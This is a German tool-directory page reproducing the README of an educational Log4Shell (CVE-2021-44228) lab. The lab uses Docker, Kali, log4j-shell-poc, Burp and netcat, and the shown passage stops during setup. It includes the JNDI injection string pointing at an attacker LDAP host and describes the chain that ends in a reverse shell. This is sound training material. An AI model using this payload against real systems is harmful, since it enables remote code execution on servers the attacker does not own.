Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Log4Shell-CVE-2021-44228 — Praktisches Labor zum Ausnutzen und Verstehen von Log4Shell (CVE-2021-44228) mit Docker, Kali Linux, Burp Suite und log4j-shell-poc. Nur für Lehr- und Verteidigungstraining in kontrollierten Laborumgebungen. | Kitploit
Tools/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Payload-GenerierungSchwachstellenanalyseExploitationReverse EngineeringWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed Teaming
Labs & Praxis
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

Praktisches Labor zum Ausnutzen und Verstehen von Log4Shell (CVE-2021-44228) mit Docker, Kali Linux, Burp Suite und log4j-shell-poc. Nur für Lehr- und Verteidigungstraining in kontrollierten Laborumgebungen.

Repository anzeigen
14vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ausnutzung von Log4Shell (CVE-2021-44228): Ein vollständiges, modernes Demonstrationslabor

Log4Shell (CVE-2021-44228) ist eine der folgenreichsten Schwachstellen zur Remote-Code-Ausführung, die je offengelegt wurde. Sie betrifft Apache Log4j 2, ein weit verbreitetes Java-Logging-Framework, und ermöglicht Angreifern die Ausführung beliebigen Codes durch Missbrauch von JNDI-Lookups in Logmeldungen.

Dieser Leitfaden bietet ein vollständiges, reproduzierbares Demonstrationslabor unter Verwendung von:

  • Kali Linux (Angreifer)
  • Eine dockerisierte verwundbare Log4j2-Anwendung
  • Das öffentliche PoC log4j-shell-poc
  • curl, Burp Suite und Netcat

Es ist ausschließlich für Lehre, Forschung, Schulung und defensive Sensibilisierung in kontrollierten Umgebungen konzipiert. Struktur und Stil folgen dem gleichen Geist wie die begleitende README des „Shellshock“-Labors.


📌 Inhaltsverzeichnis

  1. Rechtliche und ethische Hinweise
  2. Überblick auf hoher Ebene
  3. Lernziele
  4. Laborarchitektur
  5. Voraussetzungen
  6. Installation von JDK 1.8.0_202 auf Kali
  7. Bereitstellung der verwundbaren Log4j-Anwendung (Docker)
  8. Vorbereitung des Exploit-PoC
  9. Konfiguration von poc.py zur Verwendung von JDK 1.8.0_202
  10. Starten der Exploit-Dienste (LDAP + HTTP + Payload)
  11. Starten des Reverse-Shell-Listeners
  12. Ausnutzung von Log4Shell via curl
  13. Ausnutzung von Log4Shell via Burp Suite
  14. Angriffsketten-Diagramm
  15. Gegenmaßnahmen & Verteidigung
  16. Spickzettel (Alle Befehle)
  17. Screenshot-Galerie (Optional)
  18. Referenzen
  19. Danksagungen

0. Rechtliche und ethische Hinweise

Dieses Labor darf nur in einer kontrollierten Umgebung durchgeführt werden, in der Sie eine ausdrückliche Genehmigung haben (eigenes Labor, Unterrichts-VMs usw.).

  • Greifen Sie nicht Produktionssysteme an.
  • Führen Sie dies nicht gegen Hosts aus, die Sie nicht besitzen oder verwalten.
  • Nutzen Sie dieses Material ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken.

1. Überblick auf hoher Ebene

Log4Shell (CVE-2021-44228) ist eine kritische RCE-Schwachstelle in Apache Log4j 2.

Das Problem entsteht, weil verwundbare Log4j2-Versionen vom Angreifer kontrollierte Zeichenketten wie:

${jndi:ldap://ANGREIFER_IP:1389/a}

interpretieren.

Wenn diese Zeichenkette protokolliert wird, führt Log4j Folgendes aus:

  1. Führt eine JNDI-Suche (z. B. über LDAP) zu einem angreiferkontrollierten Server durch.
  2. Erhält eine Referenz auf eine bösartige Java-Klasse.
  3. Lädt die Klasse über HTTP herunter und lädt sie in die JVM.
  4. Führt sie aus, was zu Remote-Code-Ausführung führt.

In diesem Labor werden Sie:

  • Eine verwundbare Log4j2-Webanwendung in einem Docker-Container ausführen.
  • Einen bösartigen LDAP- + HTTP-Server auf Kali mit log4j-shell-poc betreiben.
  • Das Log4Shell-Payload via curl und via Burp Suite ausliefern.
  • Eine Reverse Shell vom verwundbaren Container erfassen.

2. Lernziele

Am Ende dieses Labors sollten Sie in der Lage sein:

  1. Auf hoher Ebene zu erklären, wie Log4Shell funktioniert und warum JNDI bei Missbrauch gefährlich ist.
  2. Eine verwundbare Log4j2-Anwendung mit Docker bereitzustellen.
  3. JDK 1.8.0_202 zu installieren und zu konfigurieren, das vom PoC benötigt wird.
  4. Einen bösartigen LDAP-Server und HTTP-Server über das PoC-Skript auszuführen.
  5. Die Schwachstelle auszulösen und eine Reverse Shell zu erhalten.
  6. Burp Suite zu verwenden, um den Exploit in einen HTTP-Header zu injizieren.
  7. Realistische Abwehrmaßnahmen und Erkennungsstrategien zu diskutieren.

3. Laborarchitektur

Alle Komponenten laufen auf Ihrem vorhandenen virtuellen Labor. Für diese Beschreibung nehmen wir an:

  • Kali Linux VM ist der Angreifer.
  • Kali führt auch den Docker-Container mit der verwundbaren App aus.
KomponenteRolle / BeschreibungTools / DiensteBeispieladressierung
Kali Linux VM (Angreifer + Host)Führt PoC-Exploit, LDAP-Server, HTTP-Server, Netcat-Listener, Burp Suite ausPython 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git192.168.1.4 (Beispiel-Kali-IP)
Verwundbare Log4j2-WebanwendungZiel; Spring Boot Web-App, verwundbar gegenüber Log4ShellDocker-Image: ghcr.io/christophetd/log4shell-vulnerable-appFreigegeben unter http://127.0.0.1:8080

Schlüsselidee

Der Angreifer injiziert:

${jndi:ldap://192.168.1.4:1389/a}

in einen HTTP-Header. Die verwundbare App protokolliert ihn mit Log4j2 → führt eine JNDI-LDAP-Suche zu 192.168.1.4:1389 durch → lädt eine bösartige Klasse von http://192.168.1.4:8000 herunter → führt die Klasse aus, die eine Reverse Shell zurück zu 192.168.1.4:9001 öffnet.


4. Voraussetzungen

Auf Kali benötigen Sie:

  • Docker (installiert und funktionsfähig).
  • Python 3 (Standard auf Kali).
  • Netcat (nc).
  • Burp Suite (Community Edition ist ausreichend).
  • Internetzugang für anfängliche Downloads.
  • Grundlegende Vertrautheit mit Linux und HTTP.

In dieser Anleitung nehmen wir an, dass die Kali-IP lautet:

192.168.1.4

Wenn Ihre IP abweicht, passen Sie alle Befehle entsprechend an.


5. Installation von JDK 1.8.0_202 auf Kali (zwingend erforderlich)

Das PoC ist auf Java SE 8 Update 202 (JDK 1.8.0_202) angewiesen, da neuere Java-Versionen das von diesem Exploit verwendete Remote-Klassenladeverhalten einschränken.

Auch wenn Kali bereits OpenJDK 21 (oder ähnlich) hat, müssen Sie 8u202 separat installieren.

5.1 Arbeitsverzeichnis erstellen

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 JDK 8u202 vom HuaweiCloud-Mirror herunterladen

Mirror-Stammverzeichnis:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Das Linux-x64-Tarball herunterladen (≈185 MB):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # sollte ~185M sein

5.3 Nach /usr/bin/jdk1.8.0_202 extrahieren

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

Die Option --strip-components=1 entfernt das oberste Verzeichnis aus dem Archiv, sodass die Dateien direkt unter /usr/bin/jdk1.8.0_202 landen.

5.4 Installation überprüfen

/usr/bin/jdk1.8.0_202/bin/java -version

Erwartete Ausgabe:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Wenn Sie dies sehen, ist JDK 1.8.0_202 korrekt installiert.


6. Bereitstellung der verwundbaren Log4j-Anwendung (Docker auf Kali)

Öffnen Sie ein neues Terminal auf Kali (Sie können in ~/Log4Shell bleiben):

Tool herunterladen